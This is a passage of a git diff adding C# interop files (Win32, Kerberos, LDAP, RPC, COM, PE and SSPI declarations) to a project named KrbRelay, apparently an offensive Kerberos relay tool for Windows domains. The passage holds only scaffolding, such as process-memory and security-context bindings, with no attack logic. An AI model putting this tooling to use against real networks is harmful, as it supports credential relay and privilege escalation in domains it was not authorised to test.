+ internal static extern uint FreeCredentialsHandle(ref SspiHandle phCredential);
+
+ // WinAPI
+
+ [DllImport("ntdll.dll")]
+ internal static extern UInt32 NtQueryInformationProcess(
+ IntPtr processHandle,
+ UInt32 processInformationClass,
+ ref PROCESS_BASIC_INFORMATION processInformation,
+ int processInformationLength,
+ ref UInt32 returnLength
+ );
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ internal static extern bool CloseHandle(IntPtr hObject);
+
+ [DllImport("kernel32", SetLastError = true)]
+ internal static extern IntPtr LoadLibrary(string lpFileName);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ internal static extern IntPtr GetModuleHandle(string lpModuleName);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ [PreserveSig]
+ internal static extern uint GetModuleFileName(
+ [In] IntPtr hModule,
+ [Out] StringBuilder lpFilename,
+ [In] [MarshalAs(UnmanagedType.U4)] int nSize
+ );
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ internal static extern bool WriteProcessMemory(
+ IntPtr hProcess,
+ IntPtr lpBaseAddress,
+ byte[] lpBuffer,
+ Int32 nSize,
+ out IntPtr lpNumberOfBytesWritten
+ );
+
+ [DllImport("Advapi32.dll")]
+ internal static extern int RegOverridePredefKey(IntPtr hKey,IntPtr hNewHKey);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ internal static extern bool ReadProcessMemory(
+ IntPtr hProcess,
+ IntPtr lpBaseAddress,
+ byte[] lpBuffer,
+ Int32 nSize,
+ out IntPtr lpNumberOfBytesRead
+ );
+
+ // RPC
+ [DllImport("rpcrt4.dll")]
+ internal static extern int RpcServerUseProtseqEp(
+ string Protseq,
+ uint MaxCalls,
+ string Endpoint,
+ IntPtr SecurityDescriptor
+ );
+
+ [DllImport(
+ "Rpcrt4.dll",
+ EntryPoint = "RpcServerRegisterAuthInfo",
+ CallingConvention = CallingConvention.StdCall,
+ CharSet = CharSet.Unicode,
+ SetLastError = true
+ )]
+ internal static extern int RpcServerRegisterAuthInfo(
+ String ServerPrincName,
+ uint AuthnSvc,
+ IntPtr GetKeyFn,
+ IntPtr Arg
+ );
+
+ // COM
+
+ [DllImport("ole32.dll")]
+ internal static extern int CoInitializeSecurity(
+ IntPtr pSecDesc,
+ int cAuthSvc,
+ SOLE_AUTHENTICATION_SERVICE[] asAuthSvc,
+ IntPtr pReserved1,
+ AuthnLevel dwAuthnLevel,
+ ImpLevel dwImpLevel,
+ IntPtr pAuthList,
+ AuthenticationCapabilities dwCapabilities,
+ IntPtr pReserved3
+ );
+
+ // Kerberos
+
+ [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)]
+ internal static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum);
+ }
+}
diff --git a/KrbRelay/Interop/Kerberos.cs b/KrbRelay/Interop/Kerberos.cs
new file mode 100644
index 0000000..fa2e326
--- /dev/null
+++ b/KrbRelay/Interop/Kerberos.cs
@@ -0,0 +1,62 @@
+using System;
+using System.Runtime.InteropServices;
+
+// All enums, structs, and helper types related to Kerberos
+
+namespace KrbRelay
+{
+ // https://tools.ietf.org/html/rfc3961
+ internal enum KERB_ETYPE : UInt32
+ {
+ des_cbc_crc = 1,
+ des_cbc_md4 = 2,
+ des_cbc_md5 = 3,
+ des3_cbc_md5 = 5,
+ des3_cbc_sha1 = 7,
+ dsaWithSHA1_CmsOID = 9,
+ md5WithRSAEncryption_CmsOID = 10,
+ sha1WithRSAEncryption_CmsOID = 11,
+ rc2CBC_EnvOID = 12,
+ rsaEncryption_EnvOID = 13,
+ rsaES_OAEP_ENV_OID = 14,
+ des_ede3_cbc_Env_OID = 15,
+ des3_cbc_sha1_kd = 16,
+ aes128_cts_hmac_sha1 = 17,
+ aes256_cts_hmac_sha1 = 18,
+ rc4_hmac = 23,
+ rc4_hmac_exp = 24,
+ subkey_keymaterial = 65
+ }
+
+ // From Vincent LE TOUX' "MakeMeEnterpriseAdmin"
+ // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct KERB_ECRYPT
+ {
+ private int Type0;
+ public int BlockSize;
+ private int Type1;
+ public int KeySize;
+ public int Size;
+ private int unk2;
+ private int unk3;
+ public IntPtr AlgName;
+ public IntPtr Initialize;
+ public IntPtr Encrypt;
+ public IntPtr Decrypt;
+ public IntPtr Finish;
+ public IntPtr HashPassword;
+ private IntPtr RandomKey;
+ private IntPtr Control;
+ private IntPtr unk0_null;
+ private IntPtr unk1_null;
+ private IntPtr unk2_null;
+ };
+
+ internal delegate int KERB_ECRYPT_HashPassword(
+ UNICODE_STRING Password,
+ UNICODE_STRING Salt,
+ int count,
+ byte[] output
+ );
+}
diff --git a/KrbRelay/Interop/Ldap.cs b/KrbRelay/Interop/Ldap.cs
new file mode 100644
index 0000000..580c534
--- /dev/null
+++ b/KrbRelay/Interop/Ldap.cs
@@ -0,0 +1,165 @@
+using System;
+using System.Runtime.InteropServices;
+
+// All enums, structs, and helper types related to LDAP
+
+namespace KrbRelay
+{
+ internal enum LdapModOperation
+ {
+ Add = 0x00,
+ Delete = 0x01,
+ Replace = 0x02,
+ BValues = 0x80
+ }
+
+ internal enum LdapSearchScope
+ {
+ Base = 0x0000,
+ BaseObject = Base,
+ One = 0x0001,
+ OneLevel = One,
+ Sub = 0x0002,
+ SubTree = Sub,
+ Subordinate = 0x0003, /* OpenLDAP extension */
+ Children = Subordinate,
+ Default = -1, /* OpenLDAP extension */
+ }
+
+ internal enum LdapResultType
+ {
+ Error = -1,
+ Timeout = 0,
+ Bind = 0x61,
+ SearchEntry = 0x64,
+ SearchReference = 0x73,
+ SearchResult = 0x65,
+ Modify = 0x67,
+ Add = 0x69,
+ Delete = 0x6b,
+ Moddn = 0x6d,
+ Compare = 0x6f,
+ Extended = 0x78,
+ Intermediate = 0x79
+ }
+
+ internal enum LdapStatus
+ {
+ Success = 0,
+ OperationsError = 1,
+ ProtocolError = 2,
+ TimelimitExceeded = 3,
+ SizelimitExceeded = 4,
+ CompareFalse = 5,
+ CompareTrue = 6,
+ AuthMethodNotSupported = 7,
+ StrongAuthRequired = 8,
+ Referral = 9,
+ AdminLimitExceeded = 11,
+ UnavailableCriticalExtension = 12,
+ ConfidentialityRequired = 13,
+ SaslBindInProgress = 14,
+ NoSuchAttribute = 16,
+ UndefinedType = 17,
+ InappropriateMatching = 18,
+ ConstraintViolation = 19,
+ TypeOrValueExists = 20,
+ InvalidSyntax = 21,
+ NoSuchObject = 32,
+ AliasProblem = 33,
+ InvalidDnSyntax = 34,
+ IsLeaf = 35,
+ AliasDerefProblem = 36,
+ InappropriateAuth = 48,
+ InvalidCredentials = 49,
+ InsufficientAccess = 50,
+ Busy = 51,
+ Unavailable = 52,
+ UnwillingToPerform = 53,
+ LoopDetect = 54,
+ NamingViolation = 64,
+ ObjectClassViolation = 65,
+ NotAllowedOnNonleaf = 66,
+ NotAllowedOnRdn = 67,
+ AlreadyExists = 68,
+ NoObjectClassMods = 69,
+ ResultsTooLarge = 70,
+ AffectsMultipleDsas = 71,
+ Other = 80,
+ ServerDown = -1,
+ LocalError = -2,
+ EncodingError = -3,
+ DecodingError = -4,
+ Timeout = -5,
+ AuthUnknown = -6,
+ FilterError = -7,
+ UserCancelled = -8,
+ ParamError = -9,
+ NoMemory = -10,
+ ConnectError = -11,
+ NotSupported = -12,
+ ControlNotFound = -13,
+ NoResultsReturned = -14,
+ MoreResultsToReturn = -15,
+ ClientLoop = -16,
+ ReferralLimitExceeded = -17,
+ }
+
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ internal delegate bool VERIFYSERVERCERT(IntPtr connection, IntPtr pServerCert);
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal class berval
+ {
+ public int bv_len;
+ public IntPtr bv_val = IntPtr.Zero;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public sealed class LDAP_TIMEVAL
+ {
+ public int tv_sec;
+ public int tv_usec;
+ }
+
+ //https://github.com/go-win/go-windows/blob/3c4cf4813fb68a44704529efb5f5c78ecbb1b380/windows/win32/ldap/enums.go#L11
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal class LDAPMod
+ {
+ ///
+ /// Values that you want to add, delete, or replace.
+ ///
+ [StructLayout(LayoutKind.Explicit)]
+ public struct mod_vals
+ {
+ ///
+ /// Pointer to a NULL terminated array of string values for the attribute.
+ ///
+ [FieldOffset(0)]
+ public IntPtr modv_strvals;
+
+ ///
+ /// Pointer to a NULL-terminated array of berval structures for the attribute.
+ ///
+ [FieldOffset(0)]
+ public IntPtr modv_bvals;
+ }
+
+ ///
+ /// The operation to be performed on the attribute and the type of data specified as the attribute values.
+ ///
+ public int mod_op;
+
+ ///
+ /// Pointer to the attribute type that you want to add, delete, or replace.
+ ///
+ public IntPtr mod_type;
+
+ ///
+ /// A NULL-terminated array of string values for the attribute.
+ ///
+ public mod_vals mod_vals_u;
+ public IntPtr mod_next;
+ }
+}
diff --git a/KrbRelay/Interop/Misc.cs b/KrbRelay/Interop/Misc.cs
new file mode 100644
index 0000000..ce7b7f3
--- /dev/null
+++ b/KrbRelay/Interop/Misc.cs
@@ -0,0 +1,91 @@
+using System;
+using System.Runtime.InteropServices;
+
+// All enums, structs, and helper types not specifically fitting into another file
+
+namespace KrbRelay
+{
+ internal enum AuthenticationCapabilities
+ {
+ None = 0,
+ MutualAuth = 0x1,
+ StaticCloaking = 0x20,
+ DynamicCloaking = 0x40,
+ AnyAuthority = 0x80,
+ MakeFullsic = 0x100,
+ Default = 0x800,
+ SecureRefs = 0x2,
+ AccessControl = 0x4,
+ Appid = 0x8,
+ Dynamic = 0x10,
+ RequireFullsic = 0x200,
+ AutoImpersonate = 0x400,
+ NoCustomMarshal = 0x2000,
+ DisableAaa = 0x1000
+ }
+
+ internal struct SOLE_AUTHENTICATION_SERVICE
+ {
+ public int dwAuthnSvc;
+ public int dwAuthzSvc;
+
+ [MarshalAs(UnmanagedType.LPWStr)]
+ public string pPrincipalName;
+ public int hr;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct UNICODE_STRING : IDisposable
+ {
+ public ushort Length;
+ public ushort MaximumLength;
+ public IntPtr buffer;
+
+ public UNICODE_STRING(string s)
+ {
+ Length = (ushort)(s.Length * 2);
+ MaximumLength = (ushort)(Length + 2);
+ buffer = Marshal.StringToHGlobalUni(s);
+ }
+
+ public void Dispose()
+ {
+ Marshal.FreeHGlobal(buffer);
+ buffer = IntPtr.Zero;
+ }
+
+ public override string ToString()
+ {
+ return Marshal.PtrToStringUni(buffer);
+ }
+ }
+
+ internal struct PROCESS_BASIC_INFORMATION
+ {
+ public IntPtr ExitStatus;
+ public IntPtr PebBaseAddress;
+ public IntPtr AffinityMask;
+ public IntPtr BasePriority;
+ public UIntPtr UniqueProcessId;
+ public int InheritedFromUniqueProcessId;
+
+ public int Size
+ {
+ get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }
+ }
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct LARGE_INTEGER
+ {
+ public uint LowPart;
+ public int HighPart;
+ };
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct SECURITY_INTEGER
+ {
+ public uint LowPart;
+ public int HighPart;
+ };
+}
diff --git a/KrbRelay/Interop/PE.cs b/KrbRelay/Interop/PE.cs
new file mode 100644
index 0000000..82ae90d
--- /dev/null
+++ b/KrbRelay/Interop/PE.cs
@@ -0,0 +1,155 @@
+using System;
+using System.Runtime.InteropServices;
+
+// All enums, structs, and helper types related to PE files
+
+namespace KrbRelay
+{
+ // https://gist.github.com/augustoproiete/b51f29f74f5f5b2c59c39e47a8afc3a3
+
+ public struct IMAGE_DOS_HEADER
+ {
+ public UInt16 e_magic; // Magic number
+ public UInt16 e_cblp; // Bytes on last page of file
+ public UInt16 e_cp; // Pages in file
+ public UInt16 e_crlc; // Relocations
+ public UInt16 e_cparhdr; // Size of header in paragraphs
+ public UInt16 e_minalloc; // Minimum extra paragraphs needed
+ public UInt16 e_maxalloc; // Maximum extra paragraphs needed
+ public UInt16 e_ss; // Initial (relative) SS value
+ public UInt16 e_sp; // Initial SP value
+ public UInt16 e_csum; // Checksum
+ public UInt16 e_ip; // Initial IP value
+ public UInt16 e_cs; // Initial (relative) CS value
+ public UInt16 e_lfarlc; // File address of relocation table
+ public UInt16 e_ovno; // Overlay number
+ public UInt16 e_res_0; // Reserved words
+ public UInt16 e_res_1; // Reserved words
+ public UInt16 e_res_2; // Reserved words
+ public UInt16 e_res_3; // Reserved words
+ public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
+ public UInt16 e_oeminfo; // OEM information; e_oemid specific
+ public UInt16 e_res2_0; // Reserved words
+ public UInt16 e_res2_1; // Reserved words
+ public UInt16 e_res2_2; // Reserved words
+ public UInt16 e_res2_3; // Reserved words
+ public UInt16 e_res2_4; // Reserved words
+ public UInt16 e_res2_5; // Reserved words
+ public UInt16 e_res2_6; // Reserved words
+ public UInt16 e_res2_7; // Reserved words
+ public UInt16 e_res2_8; // Reserved words
+ public UInt16 e_res2_9; // Reserved words
+ public UInt32 e_lfanew; // File address of new exe header
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct IMAGE_DATA_DIRECTORY
+ {
+ public UInt32 VirtualAddress;
+ public UInt32 Size;
+ }
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ public struct IMAGE_OPTIONAL_HEADER
+ {
+ public UInt16 Magic;
+ public Byte MajorLinkerVersion;
+ public Byte MinorLinkerVersion;
+ public UInt32 SizeOfCode;
+ public UInt32 SizeOfInitializedData;
+ public UInt32 SizeOfUninitializedData;
+ public UInt32 AddressOfEntryPoint;
+ public UInt32 BaseOfCode;
+ public IntPtr ImageBase;
+ public UInt32 SectionAlignment;
+ public UInt32 FileAlignment;
+ public UInt16 MajorOperatingSystemVersion;
+ public UInt16 MinorOperatingSystemVersion;
+ public UInt16 MajorImageVersion;
+ public UInt16 MinorImageVersion;
+ public UInt16 MajorSubsystemVersion;
+ public UInt16 MinorSubsystemVersion;
+ public UInt32 Win32VersionValue;
+ public UInt32 SizeOfImage;
+ public UInt32 SizeOfHeaders;
+ public UInt32 CheckSum;
+ public UInt16 Subsystem;
+ public UInt16 DllCharacteristics;
+ public IntPtr SizeOfStackReserve;
+ public IntPtr SizeOfStackCommit;
+ public IntPtr SizeOfHeapReserve;
+ public IntPtr SizeOfHeapCommit;
+ public UInt32 LoaderFlags;
+ public UInt32 NumberOfRvaAndSizes;
+
+ public IMAGE_DATA_DIRECTORY ExportTable;
+ public IMAGE_DATA_DIRECTORY ImportTable;
+ public IMAGE_DATA_DIRECTORY ResourceTable;
+ public IMAGE_DATA_DIRECTORY ExceptionTable;
+ public IMAGE_DATA_DIRECTORY CertificateTable;
+ public IMAGE_DATA_DIRECTORY BaseRelocationTable;
+ public IMAGE_DATA_DIRECTORY Debug;
+ public IMAGE_DATA_DIRECTORY Architecture;
+ public IMAGE_DATA_DIRECTORY GlobalPtr;
+ public IMAGE_DATA_DIRECTORY TLSTable;
+ public IMAGE_DATA_DIRECTORY LoadConfigTable;
+ public IMAGE_DATA_DIRECTORY BoundImport;
+ public IMAGE_DATA_DIRECTORY IAT;
+ public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
+ public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
+ public IMAGE_DATA_DIRECTORY Reserved;
+ }
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ public struct IMAGE_FILE_HEADER
+ {
+ public UInt16 Machine;
+ public UInt16 NumberOfSections;
+ public UInt32 TimeDateStamp;
+ public UInt32 PointerToSymbolTable;
+ public UInt32 NumberOfSymbols;
+ public UInt16 SizeOfOptionalHeader;
+ public UInt16 Characteristics;
+ }
+
+ [StructLayout(LayoutKind.Sequential, Pack = 4)]
+ public struct IMAGE_NT_HEADERS
+ {
+ public Int32 Signature;
+ public IMAGE_FILE_HEADER FileHeader;
+ public IMAGE_OPTIONAL_HEADER OptionalHeader;
+ }
+
+ // Grabbed the following 2 definitions from http://www.pinvoke.net/default.aspx/Structures/IMAGE_SECTION_HEADER.html
+
+ [StructLayout(LayoutKind.Explicit)]
+ public struct IMAGE_SECTION_HEADER
+ {
+ [FieldOffset(0)]
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
+ public char[] Name;
+ [FieldOffset(8)]
+ public UInt32 VirtualSize;
+ [FieldOffset(12)]
+ public UInt32 VirtualAddress;
+ [FieldOffset(16)]
+ public UInt32 SizeOfRawData;
+ [FieldOffset(20)]
+ public UInt32 PointerToRawData;
+ [FieldOffset(24)]
+ public UInt32 PointerToRelocations;
+ [FieldOffset(28)]
+ public UInt32 PointerToLinenumbers;
+ [FieldOffset(32)]
+ public UInt16 NumberOfRelocations;
+ [FieldOffset(34)]
+ public UInt16 NumberOfLinenumbers;
+ [FieldOffset(36)]
+ public uint Characteristics;
+
+ public string Section
+ {
+ get { return new string(Name); }
+ }
+ }
+}
diff --git a/KrbRelay/Interop/Rpc.cs b/KrbRelay/Interop/Rpc.cs
new file mode 100644
index 0000000..21a42c9
--- /dev/null
+++ b/KrbRelay/Interop/Rpc.cs
@@ -0,0 +1,25 @@
+
+// All enums, structs, and helper types related to RPC
+
+namespace KrbRelay
+{
+ public enum AuthnLevel
+ {
+ Default = 0,
+ None = 1,
+ Connect = 2,
+ Call = 3,
+ Pkt = 4,
+ PktIntegrity = 5,
+ PktPrivacy = 6
+ }
+
+ public enum ImpLevel
+ {
+ Default = 0,
+ Anonymous = 1,
+ Identify = 2,
+ Impersonate = 3,
+ Delegate = 4,
+ }
+}
diff --git a/KrbRelay/Interop/Sspi.cs b/KrbRelay/Interop/Sspi.cs
new file mode 100644
index 0000000..f74121b
--- /dev/null
+++ b/KrbRelay/Interop/Sspi.cs
@@ -0,0 +1,479 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Runtime.InteropServices;
+
+// All enums, structs, and helper types related to the SSPI subsystem
+
+namespace KrbRelay
+{
+ [Flags]
+ internal enum SecurityBufferType : uint
+ {
+ Version = 0,
+ Empty = 0,
+ Data = 1,
+ Token = 2,
+ PkgParams = 3,
+ Missing = 4,
+ Extra = 5,
+ StreamTrailer = 6,
+ StreamHeader = 7,
+ Padding = 9,
+ Stream = 10,
+ Mechlist = 11,
+ MechlistSignature = 12,
+ Target = 13,
+ ChannelBindings = 14,
+ ChangePassResponse = 15,
+ TargetHost = 16,
+ Alert = 17,
+ ApplicationProtocols = 18,
+ SrtpProtectionProfiles = 19,
+ SrtpMasterKeyIdentifier = 20,
+ TokenBinding = 21,
+ PresharedKey = 22,
+ PresharedKeyIdentity = 23,
+ DtlsMtu = 24,
+ AttrMask = 0xF0000000,
+ Readonly = 0x80000000,
+ ReadonlyWithChecksum = 0x10000000
+ }
+
+ [Flags]
+ internal enum SecurityDataRep : uint
+ {
+ Native = 0x00000010,
+ Network = 0x00000000
+ }
+
+ internal enum SecurityStatusCode : uint
+ {
+ Success = 0,
+ ContinueNeeded = 0x00090312,
+ CompleteNeeded = 0x00090313,
+ CompleteAndContinue = 0x00090314,
+ AsyncCallPending = 0x00090368,
+ ContextExpired = 0x00090317,
+ ContinueNeededMessageOk = 0x00090366,
+ GenericExtensionReceived = 0x00090316,
+ IncompleteCredentials = 0x00090320,
+ LocalLogon = 0x00090315,
+ MessageFragment = 0x00090364,
+ NoLsaContext = 0x00090323,
+ NoRenegotiation = 0x00090360,
+ Renegotiate = 0x00090321,
+ SignatureNeeded = 0x0009035C,
+ AlgorithmMismatch = 0x80090331,
+ ApplicationProtocolMismatch = 0x80090367,
+ BadBindings = 0x80090346,
+ BadPkgid = 0x80090316,
+ BufferTooSmall = 0x80090321,
+ CannotInstall = 0x80090307,
+ CannotPack = 0x80090309,
+ CertExpired = 0x80090328,
+ CertUnknown = 0x80090327,
+ CertWrongUsage = 0x80090349,
+ CrossrealmDelegationFailure = 0x80090357,
+ CryptoSystemInvalid = 0x80090337,
+ DecryptFailure = 0x80090330,
+ DelegationPolicy = 0x8009035E,
+ DelegationRequired = 0x80090345,
+ DowngradeDetected = 0x80090350,
+ EncryptFailure = 0x80090329,
+ ExtBufferTooSmall = 0x8009036A,
+ IllegalMessage = 0x80090326,
+ IncompleteMessage = 0x80090318,
+ InsufficientBuffers = 0x8009036B,
+ InsufficientMemory = 0x80090300,
+ InternalError = 0x80090304,
+ InvalidHandle = 0x80090301,
+ InvalidParameter = 0x8009035D,
+ InvalidToken = 0x80090308,
+ InvalidUpnName = 0x80090369,
+ IssuingCaUntrusted = 0x80090352,
+ IssuingCaUntrustedKdc = 0x80090359,
+ KdcCertExpired = 0x8009035A,
+ KdcCertRevoked = 0x8009035B,
+ KdcInvalidRequest = 0x80090340,
+ KdcUnableToRefer = 0x80090341,
+ KdcUnknownEtype = 0x80090342,
+ LogonDenied = 0x8009030C,
+ MaxReferralsExceeded = 0x80090338,
+ MessageAltered = 0x8009030F,
+ MultipleAccounts = 0x80090347,
+ MustBeKdc = 0x80090339,
+ MutualAuthFailed = 0x80090363,
+ NotOwner = 0x80090306,
+ NoAuthenticatingAuthority = 0x80090311,
+ NoContext = 0x80090361,
+ NoCredentials = 0x8009030E,
+ NoImpersonation = 0x8009030B,
+ NoIpAddresses = 0x80090335,
+ NoKerbKey = 0x80090348,
+ NoPaData = 0x8009033C,
+ NoS4uProtSupport = 0x80090356,
+ NoTgtReply = 0x80090334,
+ OnlyHttpsAllowed = 0x80090365,
+ OutOfSequence = 0x80090310,
+ PkinitClientFailure = 0x80090354,
+ PkinitNameMismatch = 0x8009033D,
+ Pku2uCertFailure = 0x80090362,
+ PolicyNltmOnly = 0x8009035F,
+ QopNotSupported = 0x8009030A,
+ RevocationOfflineC = 0x80090353,
+ RevocationOfflineKdc = 0x80090358,
+ SecpkgNotFound = 0x80090305,
+ SecurityQosFailed = 0x80090332,
+ ShutdownInProgress = 0x8009033F,
+ SmartcardCertExpired = 0x80090355,
+ SmartcardCertRevoked = 0x80090351,
+ SmartcardLogonRequired = 0x8009033E,
+ StrongCryptoNotSupported = 0x8009033A,
+ TargetUnknown = 0x80090303,
+ TimeSkew = 0x80090324,
+ TooManyPrincipals = 0x8009033B,
+ UnfinishedContextDeleted = 0x80090333,
+ UnknownCredentials = 0x8009030D,
+ UnsupportedFunction = 0x80090302,
+ UnsupportedPreauth = 0x80090343,
+ UntrustedRoot = 0x80090325,
+ WrongCredentialHandle = 0x80090336,
+ WrongPrincipal = 0x80090322
+ }
+
+ [Flags]
+ internal enum AcceptContextRetFlags
+ {
+ None = 0,
+ Delegate = 0x00000001,
+ MutualAuth = 0x00000002,
+ ReplayDetect = 0x00000004,
+ SequenceDetect = 0x00000008,
+ Confidentiality = 0x00000010,
+ UseSessionKey = 0x00000020,
+ SessionTicket = 0x00000040,
+ AllocatedMemory = 0x00000100,
+ UsedDceStyle = 0x00000200,
+ Datagram = 0x00000400,
+ Connection = 0x00000800,
+ CallLevel = 0x00002000,
+ ThirdLegFailed = 0x00004000,
+ ExtendedError = 0x00008000,
+ Stream = 0x00010000,
+ Integrity = 0x00020000,
+ Licensing = 0x00040000,
+ Identify = 0x00080000,
+ NullSession = 0x00100000,
+ AllowNonUserLogons = 0x00200000,
+ AllowContextReplay = 0x00400000,
+ FragmentOnly = 0x00800000,
+ NoToken = 0x01000000,
+ NoAdditionalToken = 0x02000000
+ }
+
+ [Flags]
+ internal enum AcceptContextReqFlags
+ {
+ None = 0,
+ Delegate = 0x00000001,
+ MutualAuth = 0x00000002,
+ ReplayDetect = 0x00000004,
+ SequenceDetect = 0x00000008,
+ Confidentiality = 0x00000010,
+ UseSessionKey = 0x00000020,
+ SessionTicket = 0x00000040,
+ AllocateMemory = 0x00000100,
+ UseDceStyle = 0x00000200,
+ Datagram = 0x00000400,
+ Connection = 0x00000800,
+ CallLevel = 0x00001000,
+ FragmentSupplied = 0x00002000,
+ ExtendedError = 0x00008000,
+ Stream = 0x00010000,
+ Integrity = 0x00020000,
+ Licensing = 0x00040000,
+ Identify = 0x00080000,
+ AllowNullSessions = 0x00100000,
+ AllowNonUserLogons = 0x00200000,
+ AllowContextReplay = 0x00400000,
+ FragmentToFit = 0x00800000,
+ NoToken = 0x01000000,
+ ProxyBindings = 0x04000000,
+ AllowMissingBindings = 0x10000000
+ }
+
+ internal unsafe delegate SecurityStatusCode AcceptSecurityContextFunc(
+ SspiHandle* phCredential,
+ SspiHandle* phContext, // This might be null on first call, ref hates that
+ SecurityBufferDescriptor* pInput,
+ AcceptContextReqFlags fContextReq,
+ uint TargetDataRep,
+ SspiHandle* phNewContext,
+ SecurityBufferDescriptor* pOutput,
+ uint* pfContextAttr,
+ LARGE_INTEGER* ptsTimeStamp
+ );
+
+ internal unsafe delegate SecurityStatusCode AcquireCredentialsHandleFunc(
+ string pszPrincipal,
+ string pszPackage, // "Kerberos","NTLM","Negotiative"
+ uint fCredentialUse,
+ IntPtr pvLogonID,
+ IntPtr pAuthData,
+ IntPtr pGetKeyFn,
+ IntPtr pvGetKeyArgument,
+ SspiHandle* phCredential,
+ LARGE_INTEGER* ptsExpiry
+ );
+
+ internal unsafe delegate SecurityStatusCode InitializeSecurityContextFunc(
+ SspiHandle* phCredential,
+ SspiHandle* phContext,
+ string pszTargetName,
+ uint fContextReq,
+ uint Reserved1,
+ uint TargetDataRep,
+ SecurityBufferDescriptor* pInput,
+ uint Reserved2,
+ SspiHandle* phNewContext,
+ SecurityBufferDescriptor* pOutput,
+ uint* pfContextAttr,
+ LARGE_INTEGER* ptsExpiry
+ );
+
+ internal unsafe delegate SecurityStatusCode QueryContextAttributesFunc(
+ SspiHandle* phContext,
+ uint ulAttribute,
+ IntPtr pValue
+ );
+
+
+ [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
+ internal struct SecurityFunctionTable
+ {
+ public uint dwVersion;
+ public IntPtr EnumerateSecurityPackages;
+ public IntPtr QueryCredentialsAttributes;
+ public IntPtr AcquireCredentialsHandle;
+ public IntPtr FreeCredentialHandle;
+ public IntPtr Reserved1;
+ public IntPtr InitializeSecurityContext;
+ public IntPtr AcceptSecurityContext;
+ public IntPtr CompleteAuthToken;
+ public IntPtr DeleteSecurityContext;
+ public IntPtr ApplyControlToken;
+ public IntPtr QueryContextAttributes;
+ public IntPtr ImpersonateSecurityContext;
+ public IntPtr RevertSecurityContext;
+ public IntPtr MakeSignature;
+ public IntPtr VerifySignature;
+ public IntPtr FreeContextBuffer;
+ public IntPtr QuerySecurityPackageInfo;
+ public IntPtr Reserved2;
+ public IntPtr Reserved3;
+ public IntPtr ExportSecurityContext;
+ public IntPtr ImportSecurityContext;
+ public IntPtr AddCredentials;
+ public IntPtr Reserved4;
+ public IntPtr QuerySecurityContextToken;
+ public IntPtr EncryptMessage;
+ public IntPtr DecryptMessage;
+ public IntPtr SetContextAttributes;
+ public IntPtr SetCredentialsAttributes;
+ public IntPtr ChangeAccountPassword;
+ public IntPtr Reserved5;
+ public IntPtr QueryContextAttributesEx;
+ public IntPtr QueryCredentialsAttributesEx;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct SspiHandle
+ {
+ public IntPtr High;
+ public IntPtr Low;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ internal struct SecurityBufferDescriptor : IDisposable
+ {
+ public SecurityBufferType Version;
+ public int NumBuffers;
+ public IntPtr BufferPtr;
+
+ public SecurityBufferDescriptor(int bufferSize)
+ {
+ Version = SecurityBufferType.Version;
+ NumBuffers = 1;
+ var buffer = new SecurityBuffer(bufferSize);
+ BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer));
+ Marshal.StructureToPtr(buffer, BufferPtr, false);
+ }
+
+ public SecurityBufferDescriptor(byte[] secBufferBytes)
+ {
+ Version = SecurityBufferType.Version;
+ NumBuffers = 1;
+ var buffer = new SecurityBuffer(secBufferBytes);
+ BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer));
+ Marshal.StructureToPtr(buffer, BufferPtr, false);
+ }
+
+ public SecurityBufferDescriptor(SecurityBuffer[] buffers)
+ {
+ if (buffers == null || buffers.Length == 0)
+ {
+ throw new ArgumentException("cannot be null or 0 length", "buffers");
+ }
+
+ Version = SecurityBufferType.Version;
+ NumBuffers = buffers.Length;
+ BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecurityBuffer)) * NumBuffers);
+
+ for (int i = 0; i < buffers.Length; i++)
+ {
+ Marshal.StructureToPtr(
+ buffers[i],
+ BufferPtr + i * Marshal.SizeOf(typeof(SecurityBuffer)),
+ false
+ );
+ }
+ }
+
+ public List GetBuffers()
+ {
+ if (BufferPtr == IntPtr.Zero)
+ {
+ throw new InvalidOperationException("BufferPtr is NULL");
+ }
+
+ List buffers = new List();
+ for (int index = 0; index < NumBuffers; index++)
+ {
+ buffers.Add(
+ (SecurityBuffer)Marshal.PtrToStructure(
+ BufferPtr + (index * Marshal.SizeOf(typeof(SecurityBuffer))),
+ typeof(SecurityBuffer)
+ )
+ );
+ }
+
+ return buffers;
+ }
+
+ public byte[] ToByteArray()
+ {
+ var bytes = new List();
+ foreach (var buffer in GetBuffers())
+ {
+ for (int i = 0; i < buffer.Count; i++)
+ {
+ bytes.Add(Marshal.ReadByte(buffer.Token + i));
+ }
+ }
+
+ return bytes.ToArray();
+ }
+
+ public SecurityBuffer GetTokenBuffer()
+ {
+ return GetBuffers().Where(b => (b.BufferType & SecurityBufferType.Token) != 0).First();
+ }
+
+ public byte[] GetTokenBytes()
+ {
